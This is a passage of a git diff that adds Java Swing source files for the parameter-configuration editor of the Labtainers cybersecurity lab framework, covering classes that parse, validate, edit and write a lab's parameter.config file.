UpperBoundTextField; + } + public JTextField getStepTextField(){ + return stepTextField; + } + public String getComments(){ + return this.comments; + } + //Field SETTERS + private void setParamIDTextField(String v){ + ParamIDTextField.setText(v); + } + private void setFileTextField(String v){ + FileNameTextField.setText(v); + } + private void setSymbolTextField(String v){ + SymbolTextField.setText(v); + } + private void setHashedStringTextField(String v){ + HashedStringTextField.setText(v); + } + private void setLowerBoundTextField(String v){ + LowerBoundTextField.setText(v); + } + private void setUpperBoundTextField(String v){ + UpperBoundTextField.setText(v); + } + private void setStepTextField(String v){ + stepTextField.setText(v); + } + private void setOperatorComboBox(String v){ + ToolTipWrapper tip = ParamReferenceStorage.getWrapper(Operator_ITEMS, v); + OperationComboBox.setSelectedItem(tip); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton DeleteButton; + private javax.swing.JButton DocButton; + private javax.swing.JButton DownButton; + private javax.swing.JTextField FileNameTextField; + private javax.swing.JTextField HashedStringTextField; + private javax.swing.JTextField LowerBoundTextField; + private javax.swing.JComboBox OperationComboBox; + private javax.swing.JTextField ParamIDTextField; + private javax.swing.JPanel ParamPanel; + private javax.swing.JButton ShowListButton; + private javax.swing.JTextField SymbolTextField; + private javax.swing.JButton UpButton; + private javax.swing.JTextField UpperBoundTextField; + private javax.swing.JLabel jLabel3; + private javax.swing.JTextField stepTextField; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamValues.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamValues.java new file mode 100644 index 000000000..b9a9d44a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamValues.java @@ -0,0 +1,162 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.paramsui; +import java.util.ArrayList; +import java.util.Arrays; +import labtainers.mainui.ToolTipHandlers; +import static labtainers.resultsui.ParamReferenceStorage.FieldType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.LineType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.SpecialTimeStampType; +import static labtainers.resultsui.ParamReferenceStorage.TimestampType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.justFieldType; +import static labtainers.resultsui.ParamReferenceStorage.lineParamAccessible; + +/** + * + * @author MFT + */ +public class ParamValues { + //Values to be obtained + String paramID, symbol, hashedString; + ArrayList fileList = new ArrayList(); + String upperBound, lowerBound, step; + String comments = ""; + String operator; + String inputLine = ""; + //Stores the values of an parameter fed into it (NO real value validation happening here) + ParamValues(String inputLine) { + this.inputLine = inputLine; + } + void load() throws java.lang.ArrayIndexOutOfBoundsException { + String paramLine; + if(this.inputLine.contains("\n")){ + String[] the_lines = this.inputLine.split("\n"); + paramLine = the_lines[the_lines.length-1]; + for(int i=0; i 6){ + step = paramParsedLine[6].trim(); + } + } + } + if(operator.equals("HASH_CREATE")){ + hashedString = paramParsedLine[3].trim(); + }else if(operator.equals("HASH_REPLACE")){ + hashedString = paramParsedLine[4].trim(); + } + } + + //Constructor for temporarily storing values of artifacts in the UI + ParamValues(String paramID, ArrayList fileList, String operator, + String symbol, String hashedString, + String lowerBound, String upperBound, String step, String comments){ + this.paramID = paramID; + this.fileList = fileList; + this.operator = operator; + this.symbol = symbol; + this.hashedString = hashedString; + this.lowerBound = lowerBound; + this.upperBound = upperBound; + this.step = step; + this.comments = comments; + } + + //Clones the original Params Values + ParamValues(ParamValues original){ + this.paramID = original.paramID; + for(String containerFile : original.fileList){ + this.fileList.add(containerFile); + } + this.operator = original.operator; + this.symbol = original.symbol; + this.hashedString = original.hashedString; + this.lowerBound = original.lowerBound; + this.upperBound = original.upperBound; + this.step = original.step; + this.comments = original.comments; + } + + private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return item; + } + } + return null; + } + + private boolean itemExistCheck(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return true; + } + } + return false; + } + + private boolean isInteger(String s){ + try{ + Integer.parseInt(s); + + return true; + } + catch(NumberFormatException ex){ + return false; + } + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsData.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsData.java new file mode 100644 index 000000000..c9f7b0f7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsData.java @@ -0,0 +1,638 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.paramsui; + +import labtainers.resultsui.*; +import labtainers.mainui.ToolTipHandlers; +import labtainers.mainui.CompareTextFiles; +import java.awt.Component; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import labtainers.mainui.MainWindow; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; + +/** + * + * @author Daniel Liao + */ +public class ParamsData { + protected List listofParams; + static public ArrayList containerList = new ArrayList(); + protected int rowCount; + MainWindow mainUI; + public int test = 0; + + public ParamsData(MainWindow main, File labPath){ + listofParams = new ArrayList(); + rowCount = 0; + + this.mainUI = main; + } + + // Creates a deep copy of the original (shallow with containerList and mainUI) + public ParamsData(ParamsData original){ + listofParams = new ArrayList(); + //Deep copy the list of params + for(ParamValues param : original.listofParams){ + ParamValues pv = new ParamValues(param); + listofParams.add(pv); + } + + this.rowCount = original.getRowCount(); + + this.mainUI = original.getMainWindow(); + } +//Retrieving and Setting Data~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Parses the parameter.config to obtain all the relevant param lines, + //extracts the values of each param line + //and then loads each param line's value into the list of Params + public void retrieveData(){ + ArrayList params = getParamLines(); + + if(params != null){ + //Fill the list of params + for(String paramLine : params){ + ParamValues pv = new ParamValues(paramLine); + try{ + //System.out.println("add parsed paramLine "+paramLine); + pv.load(); + listofParams.add(pv); + rowCount++; + }catch(java.lang.ArrayIndexOutOfBoundsException exa){ + System.out.println("ERROR: "+exa); + System.out.println("Error retrieveData parsing parameter line: "+paramLine+"\n"); + mainUI.output("Error parsing parameter line: "+paramLine+"\n"); + mainUI.output(exa.toString()); + } + } + } + } + + //Updates the containerlist (all parameter panels refer to this list to fill in the container combobox) + static public void setContainerList(ArrayList newContainerList){ + containerList = newContainerList; + } + + +//WRITING~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Update the parameter.config file with the user's input + // If usetmp return the path the temporary configuration file. + public String writeParamsConfig(boolean usetmp){ + File paramsConfigFile = null; + try { + String paramID, + containerFile, + symbol, + hashedString; + String upperBound, lowerBound, step; + String comments; + String paramsConfigText = ""; + + ErrorHandler error = new ErrorHandler(); + ArrayList paramTagList = new ArrayList(); //Used for duplication checking + + //Iterate through each param + for(int i=0;i < listofParams.size();i++){ + error.checkReset(); //Reset the error statuses for a new param line + + String paramConfigLine = listofParams.get(i).comments; + + paramID = listofParams.get(i).paramID; + paramTagList.add(paramID); + + //Checks if paramID is valid or inputted + if(paramID.matches("^[a-zA-Z0-9_]+$")) + paramConfigLine += (paramID + " : "); //add to param Config line + else if(paramID.isEmpty() || paramID.equals("")) + error.paramIDMissing = true; + else{ + System.out.println("Bad characters in Param ID"+ paramID); + System.out.println(paramConfigLine); + error.paramError = true; + } + String operator = listofParams.get(i).operator; + paramConfigLine += operator + " : "; + + + //FILEID CONFIG + containerFile = String.join(";", listofParams.get(i).fileList); + if(containerFile.length() == 0){ + System.out.println("Bad file for param ID "+ paramID); + error.fileIDMissing = true; + } + paramConfigLine += containerFile+" : "; + + if(operator.contains("REPLACE")){ + symbol = listofParams.get(i).symbol.trim(); + if(symbol.length() == 0){ + error.badSymbol = true; + System.out.println("Bad symbol: "+symbol); + } + paramConfigLine += symbol; + } + if(operator.contains("RAND")){ + String upper = listofParams.get(i).upperBound.trim(); + String lower = listofParams.get(i).lowerBound.trim(); + String step_str = listofParams.get(i).step.trim(); + if(upper.length() == 0 || lower.length() == 0){ + error.badRange = true; + System.out.println("Bad range for random values: "+lower+":"+upper); + } + if(step_str == "1"){ + paramConfigLine += " : "+lower+" : "+upper; + }else{ + paramConfigLine += " : "+lower+" : "+upper+" : "+step_str; + } + } + if(operator.contains("HASH")){ + paramConfigLine += " : "+listofParams.get(i).hashedString; + } + + //If there's no error, put the paramConfigLine in the paramsConfigText string, + //Otherwise the overallPass of the user input is false + if(error.userInputCheck(i+1)){ + if(i < listofParams.size()-1) + paramConfigLine+= "\n"; + //Add the param config line to the Params Config text + paramsConfigText += paramConfigLine; + } + else + error.fail(); + } // end for each param + + //Check for duplicate param IDs + error.checkDuplicateParamID(paramTagList); + /* + for(String rt : paramID) + System.out.println(rt); + */ + + if(error.passStatus()){ + //Resets the parameter.config file + paramsConfigFile = initializeParamConfig(usetmp); + + try ( //Write the paramConfigText to the params.config + BufferedWriter writer = new BufferedWriter(new FileWriter(paramsConfigFile, true))) { + writer.write(paramsConfigText+"\n"); + writer.close(); + } + /* + if(usetmp){ + String new_file = paramsConfigFile.getAbsolutePath(); + String old_file = getParamFileName(); + boolean same = CompareTextFiles.compare(old_file, new_file); + if(!same){ + retval = false; + System.out.println("files differ"); + } + } + */ + } + else + JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); + } + catch (IOException ex) { + Logger.getLogger(ParamsUI.class.getName()).log(Level.SEVERE, null, ex); + } + if(paramsConfigFile != null){ + return paramsConfigFile.getAbsolutePath(); + }else{ + return null; + } + } + private String getParamFileName(){ + String retval = mainUI.getCurrentLab() + File.separator + "config" + File.separator + "parameter.config"; + return retval; + } + //Checks if the parameter.config file exists and prepares the parameter.config file for the lab + private File initializeParamConfig(boolean usetmp) throws IOException{ + //Get the filepath for the lab's parameter.config + File paramsConfigFile=null; + if(!usetmp){ + paramsConfigFile = new File(getParamFileName()); + }else{ + Path tempDir=null; + try{ + tempDir = Files.createTempDirectory(mainUI.getLabName()); + }catch(IOException ex){ + System.out.println("failed creating temporary directory" + ex); + System.exit(1); + } + String dir_s = tempDir.getFileName().toString(); + paramsConfigFile = new File(File.separator+"tmp"+File.separator+dir_s + File.separator + "parameter.config"); + } + if(paramsConfigFile.exists()){ + //Overwrite parameter.config file if it already exists + try (BufferedWriter writer = new BufferedWriter(new FileWriter(paramsConfigFile, false))) { + // writer.write(baseText); + } + return paramsConfigFile; + } + else if(paramsConfigFile.createNewFile()){ + //Create new parameter.config file otherwise(if it does not already exist) + try (BufferedWriter writer = new BufferedWriter(new FileWriter(paramsConfigFile))) { + //writer.write(baseText); + } + return paramsConfigFile; + } + else{ //File could not be created so return error message + System.out.println("Parameter Config File couldn't be initialzed."); + return null; + } + } + + //Handles all the error data and error checking before writing the parameter.config + private class ErrorHandler{ + private boolean overallPass; + private String errorMsg; + private boolean + paramError, + fileError, + + paramIDMissing, + fileIDMissing, + badRange, + badSymbol; + + + ErrorHandler(){ + overallPass = true; + errorMsg = ""; + checkReset(); + } + + void fail(){ + overallPass = false; + } + + //Resets the error status(used right before looking at new param line) + private void checkReset(){ + paramError = false; + fileError = false; + + paramIDMissing = false; + fileIDMissing = false; + badRange = false; + badSymbol = false; + + } + + //Builds error message detailing the errors that appear in the user input + boolean userInputCheck(int paramIndex){ + boolean rowPassed = true; + String infoMsg = "Parameter Line: " + paramIndex + System.lineSeparator(); + + if(paramIDMissing){ + rowPassed = false; + infoMsg+= "-Param ID input is missing." + System.lineSeparator(); + } + if(fileIDMissing){ + rowPassed = false; + infoMsg+= "-File ID input is missing." + System.lineSeparator(); + } + if(paramError){ + rowPassed = false; + infoMsg+= "-Make sure your Param ID has only alphanumeric characters or underscores." + System.lineSeparator(); + } + if(badRange){ + rowPassed = false; + infoMsg+= "-Make sure your random range values are set." + System.lineSeparator(); + } + if(badSymbol){ + rowPassed = false; + infoMsg+= "-Make sure your symbol to be replaced is set." + System.lineSeparator(); + } + //if(fileError){ + // rowPassed = false; + // infoMsg+= "-Make sure your File ID file's extentsion ends in \".stdin\", \".stdout\", or \".prgout\"." + System.lineSeparator() + " Or is a file path." + System.lineSeparator(); + //} + + + if(!rowPassed) + errorMsg += (infoMsg + System.lineSeparator()); + + return rowPassed; + } + + //Check for duplicate param ID + void checkDuplicateParamID(ArrayList paramIDs){ + ArrayList markedParamIDs = new ArrayList(); + + //Store all the indices for each unique param ID + for(int i=0;i 1){ + duplicateErrorMsg+= "Duplicate Param ID: \"" + rt.paramID + "\" on rows "; + + for(int i=0;i indices; + + ParamIDIndices(String paramID, int index){ + this.paramID = paramID; + indices = new ArrayList(); + indices.add(index); + } + + void addIndex(int index){ + indices.add(index); + } + } + + //Is the param ID already in the duplicate list? + boolean isDuplicate(ArrayList markedParamIDs, String paramID){ + for(ParamIDIndices rtIndices : markedParamIDs){ + if(rtIndices.paramID.equals(paramID)) + return true; + } + return false; + } + + //Get the duplicate object based on the duplicate string + ParamIDIndices getDuplicate(ArrayList markedParamIDs, String paramID){ + for(ParamIDIndices rtIndices : markedParamIDs){ + if(rtIndices.paramID.equals(paramID)) + return rtIndices; + } + return null; + } + + + @Override + public String toString(){ + return errorMsg; + } + + boolean passStatus(){ + return overallPass; + } + } + + +//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + //Gets the param lines in the parameter.config + protected ArrayList getParamLines(){ + ArrayList params = new ArrayList(); + + try { + File paramsConfig = new File(mainUI.getCurrentLab()+File.separator+"config"+File.separator+"parameter.config"); + + //Get the param lines + if(paramsConfig.exists()){ + try (FileReader fileReader = new FileReader(paramsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + String line = bufferedReader.readLine().trim(); + String param_line = ""; + while (line != null) { + param_line = param_line + line; + //if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))){ + if(line.length() > 0 && line.charAt(0) != '#'){ + params.add(param_line); + param_line = ""; + }else{ + param_line=param_line+"\n"; + } + line = bufferedReader.readLine(); + } + } + return params; + } + else{ + System.out.println("No parameter.config file in the loaded lab!"); + //Create the missing parameter.config file + paramsConfig.createNewFile(); + return params; + } + } + catch (IOException e) { + System.out.println("Issue with getting parameter.config params"); + return null; + } + } + + //Updates the list of params + protected void updateListofParams(JPanel PanelofParams){ + Component[] params = PanelofParams.getComponents(); //Access the list of params + + List listofParamsTMP = new ArrayList(); + + //Iterate through each param and add it to the temp list of param values + for (Component param : params) { + //RESULTS TAG + String paramID = ((ParamPanels) param).getParamIDTextField().getText(); + String file = ((ParamPanels) param).getFileTextField().getText(); + ArrayList fileList = new ArrayList(); + String [] farray = file.split(";"); + for(String f : farray){ + fileList.add(f); + } + //String container = (String) (((ParamPanels) param).getContainerComboBox().getSelectedItem()); + ToolTipHandlers.ToolTipWrapper operatorTT = (ToolTipHandlers.ToolTipWrapper) (((ParamPanels) param).getOperatorComboBox().getSelectedItem()); + String operator = operatorTT.getItem(); + String symbol = ((ParamPanels) param).getSymbolTextField().getText(); + String hashedString = ((ParamPanels) param).getHashedStringTextField().getText(); + String lowerBound = ((ParamPanels) param).getLowerBoundTextField().getText(); + String upperBound = ((ParamPanels) param).getUpperBoundTextField().getText(); + String step = ((ParamPanels) param).getStepTextField().getText(); + String comments = ((ParamPanels) param).getComments(); + + listofParamsTMP.add(new ParamValues(paramID, fileList, operator, symbol, hashedString, lowerBound, upperBound, step, comments)); + } + + listofParams = listofParamsTMP; //overwrite the old listofParams with the temp listofParams + } + + //Swaps the position of params in a list + protected void swapParams(String type, int rowIndex){ + + switch(type){ + case "UP": + if(rowIndex > 0){ + //System.out.println("UP: "+listofParams.get(rowIndex).paramID+" Index: "+rowIndex); + Collections.swap(listofParams, rowIndex, rowIndex-1); + } + break; + case "DOWN": + //System.out.println(rowCount); + //System.out.println("RowINdex: " + rowIndex + " RowCount-1: "+ (rowCount-1)); + if(rowIndex < rowCount-1){ + //System.out.println("DOWN: "+listofParams.get(rowIndex).paramID); + Collections.swap(listofParams, rowIndex, rowIndex+1); + } + break; + default: + System.out.println("swap case no register"); + } + } + + //Gets a list of ParamValues from the the current state of the parameter.config file + protected List getParamValuesOfConfigFile(){ + List officialListofParams = new ArrayList(); + + ArrayList paramLines = getParamLines(); + + if(paramLines != null){ + + for(String paramLine : paramLines){ + ParamValues pv = new ParamValues(paramLine); + try{ + pv.load(); + officialListofParams.add(pv); + }catch(java.lang.ArrayIndexOutOfBoundsException exa){ + System.out.println("ERROR: "+exa); + System.out.println("Error getParamValuesOfConfigFile parsing parameter line: "+paramLine+"\n"); + mainUI.output("Error parsing parameter line: "+paramLine+"\n"); + mainUI.output(exa.toString()); + } + } + return officialListofParams; + } + else + return null; + } + + + // Param Value objects that reference the old Container to the new Container name + // TBD fix this + public void refactorContainerReference(String oldContainer, String newContainer){ + //Updates the listOfValues to reflect a change of a conainer name to a new name + for(ParamValues param : listofParams){ + //System.out.println(param.container + " " + oldContainer); + //if(param.container.equals(oldContainer)){ + // param.container = newContainer; + // System.out.println(param.container); + //} + } + + //Update the container list with the renamed container + ArrayList tmp = new ArrayList(); + for(String container : containerList){ + if(container.equals(oldContainer)) + tmp.add(newContainer); + else + tmp.add(container); + } + containerList = tmp; + } + + //Updates container list and removes Param Value objects that reference the container + public void removeContainerReference(String container){ + // Deletes all param lines that include the container + // TBD fix this + ArrayList toRemove = new ArrayList(); + for(ParamValues param : listofParams){ + //if(param.container.equals(container)) + // toRemove.add(param); + } + listofParams.removeAll(toRemove); + + //Update delete the container in the container list + containerList.remove(container); + } + + +//GETTERS~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + protected List getListofParams(){ + return listofParams; + } + + protected ArrayList getContainerList(){ + return containerList; + } + + protected int getRowCount(){ + return rowCount; + } + + protected MainWindow getMainWindow(){ + return mainUI; + } + public ArrayList getParamNames(){ + ArrayList paramTagList = new ArrayList(); //Used for duplication checking + + for(int i=0;i < listofParams.size();i++){ + String paramID = listofParams.get(i).paramID; + paramTagList.add(paramID); + } + return paramTagList; + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.form new file mode 100644 index 000000000..dbf98d8f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.form @@ -0,0 +1,158 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.java new file mode 100644 index 000000000..c56bc1517 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamsUI.java @@ -0,0 +1,377 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.paramsui; + +import java.awt.Component; +import java.awt.Dimension; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JScrollBar; +import labtainers.mainui.MainWindow; +import labtainers.goalsui.GoalsData; +import labtainers.goalsui.GoalsUI; + +/** + * + * @author Daniel Liao + */ +public class ParamsUI extends javax.swing.JFrame { + + /** + * Creates new form NewJDialog + */ + ParamsData data; + ParamsData saved; + MainWindow mainUI; + + public ParamsUI(java.awt.Frame parent, boolean modal) { + //super(parent); + initComponents(); + this.setVisible(true); + paramsScrollPaneBar = ScrollPaneOfParams.getVerticalScrollBar(); + + this.mainUI = (MainWindow)parent; + this.data = new ParamsData(this.mainUI.getCurrentData().getParamsData()); + this.saved = new ParamsData(this.data); + + loadUI(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ScrollPaneOfParams = new javax.swing.JScrollPane(); + PanelofParams = new javax.swing.JPanel(); + CreateButton = new javax.swing.JButton(); + RemoveAllButton = new javax.swing.JButton(); + UpdateButton = new javax.swing.JButton(); + jLabel5 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + CancelButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + setTitle("Results Configuration"); + setMinimumSize(new java.awt.Dimension(1590, 500)); + setResizable(false); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + }); + + PanelofParams.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT)); + ScrollPaneOfParams.setViewportView(PanelofParams); + + CreateButton.setText("Create"); + CreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateButtonActionPerformed(evt); + } + }); + + RemoveAllButton.setText("Remove All"); + RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveAllButtonActionPerformed(evt); + } + }); + + UpdateButton.setText("OK"); + UpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpdateButtonActionPerformed(evt); + } + }); + + jLabel5.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel5.setText("Operator"); + jLabel5.setToolTipText("File should either be a file path or a program/utility name with the \".stdin\", \".stdout\", or \".prgout\" extension.\n\n Ex. \"test.stdin\", \".local/result/sniff.txt\" "); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel1.setText("Param ID"); + jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); + + CancelButton.setText("Cancel"); + CancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CancelButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGap(0, 12, Short.MAX_VALUE) + .addComponent(ScrollPaneOfParams, javax.swing.GroupLayout.PREFERRED_SIZE, 1566, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(CreateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(RemoveAllButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addGap(91, 91, 91) + .addComponent(jLabel1) + .addGap(104, 104, 104) + .addComponent(jLabel5))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + .addGroup(layout.createSequentialGroup() + .addGap(542, 542, 542) + .addComponent(UpdateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 113, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(CancelButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(CreateButton) + .addComponent(RemoveAllButton)) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(jLabel5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ScrollPaneOfParams, 